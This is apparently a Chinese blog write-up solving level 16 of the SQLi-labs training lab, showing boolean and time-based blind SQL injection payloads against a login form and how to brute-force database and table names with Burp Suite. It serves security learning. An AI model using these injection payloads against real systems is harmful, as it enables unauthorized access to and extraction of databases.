sqllab第十六关通关笔记

知识点:

  • 布尔盲注
  • 时间盲注

布尔盲注

通过admin admin登录发现没有任何回显信息;但是使用的是成功登录的图片
随便输入一个用户和密码发现出现了错误登录的图片信息

构造username=a'#

感觉又是一个布尔注入

构造payload:username=a'+or+1=1#

发现登录失败的界面

正常登录使用flag图片,错误登录使用slap图片;感觉这里是可以区分的;应该是我的payload不对

经过不断的尝试发现原始语句为 where username = ("输入")

构造payload:username=a")+or+1=1#

成功登录,回显界面变了;说明这里可以使用bool注入(那么下面的流程和第十一关一模一样了)

时间盲注

由于该关提示用的是时间盲注,那么就是用时间盲注来操作了

通过bp进行抓包,构造时间盲注的payload:username=a")+or+if(1=1,sleep(2),1)#

发现页面卡住了;说明执行了sleep(2)

尝试改变payload:username=a")+or+if(1=0,sleep(2),1)#

发现页面响应迅速,直接返回了响应包;说明这里存在注入点;可以用时间注入进行操作

同样的方法获取对应的数据库长度;(这里需要不断的进行尝试)

构造payload:username=a")+or+if(length(database())=8,sleep(2),1)#

页面加载中,成功获取到了数据库长度为8

接下来利用时间盲注进行爆破数据库名

构造payload:username=a")+or+if((mid((database()),1,1)='a'),sleep(3),1)#

将内容放到爆破模块中(具体的设置和之前上一关一样)

需要额外说一下的是在project options设置中改一下timeout的时间;要不然不会触发timeout选项

默认是120s;修改为2s就行了,只要低于sleep()的时间就行了,我用的3s,所以这里设置2s就OK了

点击爆破,成功得到了timeout的数据

通过取消勾选status的所有状态使页面只剩下timeout的数据

通过payload1进行排序就发现了正确的数据库名

接下来同样的操作,爆破处数据库中的表名

构造payload:username=a")+or+if((mid((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security'),1,1)='e'),sleep(2),1)#

放入爆破模块中,设置不变(这里没测数据长度,我直接用的50,假设目标长度<50,那么结果中有效的payload1不会到50,如果有效payload1到了50说明长度>=50,此时我会增加长度;当然,最好先把长度爆破一下,这样方便下面的数据爆破,我这里相当于偷了个懒,因为知道长度肯定没有50)

开始爆破,获取了结果,同样进行过滤排序;成功获取了所有的表名;根据缺号进行截断字符串;获取完整的表名;这里可以看到payload1只用了29;说明所有表都读取出来了

同样的,读取字段信息和表中的信息使用同样的方法,下面就不演示了,之前的关卡中操作过了,到这里就结束了

10

相关推荐
摇滚侠1 小时前
Spring Boot 3零基础教程,WEB 开发 Thymeleaf 属性优先级 行内写法 变量选择 笔记42
java·spring boot·笔记
摇滚侠1 小时前
Spring Boot 3零基础教程,WEB 开发 Thymeleaf 总结 热部署 常用配置 笔记44
java·spring boot·笔记
rechol1 小时前
汇编与底层编程笔记
汇编·arm开发·笔记
lzj_pxxw2 小时前
嵌入式开发技巧:舍弃标志位,用宏定义函数实现程序单次运行
笔记·stm32·单片机·嵌入式硬件·学习
润 下3 小时前
C语言——回调函数的典型示例(分析详解)
c语言·开发语言·人工智能·经验分享·笔记·程序人生
朝新_3 小时前
【EE初阶 - 网络原理】传输层协议
java·开发语言·网络·笔记·javaee
koo3643 小时前
李宏毅机器学习笔记27
人工智能·笔记·机器学习
峰顶听歌的鲸鱼4 小时前
1.云计算与服务器基础
运维·服务器·笔记·云计算·学习方法
Kay_Liang4 小时前
大语言模型如何精准调用函数—— Function Calling 系统笔记
java·大数据·spring boot·笔记·ai·langchain·tools
bnsarocket4 小时前
Verilog和FPGA的自学笔记7——流水灯与时序约束(XDC文件的编写)
笔记·fpga开发